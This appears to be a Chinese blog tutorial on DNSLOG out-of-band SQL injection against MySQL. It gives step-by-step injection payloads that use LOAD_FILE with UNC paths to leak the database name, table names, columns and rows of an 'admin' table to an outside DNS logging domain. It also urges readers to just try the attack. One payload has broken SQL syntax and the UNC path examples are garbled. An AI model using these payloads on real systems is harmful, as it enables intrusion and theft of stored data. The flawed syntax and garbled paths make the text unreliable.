本文内容:
- DNSLOG的函数解析
- UNC路径
- DNSLOG的使用场景
- DNSLOG注入的具体流程
1,DNSLOG的函数解析:
Mysql函数:LOAD_FILE()读取文件的函数。
读取字符串并返回文档内容未字符串,要使用次函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接收的数据包大小函数,默认1MB)。
如果该文件不存在或者无法读取,因为前面的条件之一不满足,函数返回NULL。
LOAD_FILE()读取文件函数的功能不是默认开启的,需要在mysql配置文件mysql-ini文件最后加一句:secure_file_priv=
添加之后需要重启才能生效。
2,UNC路径:通过命名规则,也称通用命名规范,通过命名规定,远程共享文件的一种格式。
什么是UNC路径:
UNC路径就是类似\softer这样的网络路径:
格式:\servernamesharenamefilname
servername:服务器名称,
sharename:共享资源的名称
filename:共享资源文件夹的名称
3,DNSLOG的使用场景:
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发出请求,这个时候就可以通过DNSLOG把想获取的数据外带出来。
对于SQL盲注,常见的方法就是二分法,去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select的数据发送给一个url,利用Dns解析产生的记录日志来查看数据。
select load_file() 可以请求贡献文件。
DNS:是域名,所以需要一个域名:http://dnslog.cn/
免费的Dnslog平台,不用注册,不用登陆,不采集任何信息。
4,DNSLOG注入的具体流程:
前提是网站数据库开启了load_file功能。
1.判断是否存在sql注入:
and 1=1 和 and 1=2
2.通过判断之后发现此处是一个满足,而盲注常用的方法就是二分法,一个一个去猜,但是如果系统数据库开启了load_file功能。
我们就可以使用DNS解析产生的记录日志,来查看数据。
3.爆库:
and (select load_file(concat('//',(select database()),'域名/abc')))
4.爆表:
and (select load_file(concat('//',(select table_name from information_schema.tables=database() limit 0,1),'域名/abc')))
5.爆字段:
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'域名/abc')))
6.爆数据:
and (select load_file(concat('//',(select id from admin limit 0,1),'域名/abc')))
解释:
域名:可以通过上面免费域名网站获得。
abc:域名下的文件夹。
limit:使用limit 是因为数据库查询出来的数据不一定是个字符串,查询出来返回好几条数据,需要使用limit一条一条取出来,拼进域名内。
不用管系统数据库是否开启load_file,直接干就行,能行,就是开启了,不能行,就是没开启,试过才知道。
与君共勉:
向着目标奔跑,
何必在意折翼的翅膀,
只要信心不死,
就看的见方向,
顺风适合行走,
逆风更适合飞翔,
人生路上什么都不怕,
就怕自己投降。